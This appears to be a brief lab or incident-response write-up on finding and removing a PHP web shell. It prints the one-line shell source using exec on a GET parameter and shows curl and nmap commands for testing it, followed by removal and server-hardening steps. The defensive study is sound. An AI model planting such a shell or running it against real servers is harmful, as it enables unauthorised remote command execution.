Understanding Web Shell Exploitation:
A simple PHP web shell (hello.php) allowed arbitrary command execution via the browser.
Steps to Mitigate:
Identify the malicious script, its execution method, and block unauthorized access.
Remove the script from the server and sanitize the environment.
1. Inspecting the Malicious PHP File:
Command:
cat hello.php
Content:
<?php echo exec($_GET["cmd"]); ?>
Purpose:
The script executes commands provided via the cmd GET parameter. This type of vulnerability allows attackers to run shell commands on the server.
2. Testing the Web Shell:
Command:
curl http://192.168.111.135/hello.php?cmd=[command]
Examples:
?cmd=whoami → Displays the user running the process (e.g., www-data).
?cmd=pwd → Shows the present working directory.
Purpose:
Validate the exploit and observe its functionality.
3. Detecting Open Ports:
Command:
nmap 192.168.111.135
Output:
Port 21 (FTP), Port 22 (SSH), Port 80 (HTTP), and Port 4444 (custom) are open.
Purpose:
Verify active services that may be exploited in conjunction with the web shell.
4. Removing the Malicious Web Shell:
Commands:
rm -f /var/www/html/hello.php
Purpose:
Delete the PHP script to prevent further exploitation.
5. Checking System Processes:
Command:
ps -aux | grep php
Purpose:
Ensure no rogue PHP processes remain active.
6. Hardening the Server:
Actions:
Remove unused services and close unnecessary ports (e.g., FTP on Port 21).
Audit /var/www/html directory for other malicious files.
Secure access to /var/www by setting appropriate file permissions and ownership.
Commands:
chmod -R 750 /var/www/html chown -R root:www-data /var/www/html
Immediate Mitigation:
Delete the malicious PHP web shell.
Close unused ports and kill any unauthorized processes.
Long-Term Prevention:
Harden server security (e.g., use a firewall to block unauthorized traffic).
Regularly monitor logs and scan for malicious activity.
Update server software to patch known vulnerabilities.
System Integrity Verification:
Ensure no additional backdoors or scripts were left behind.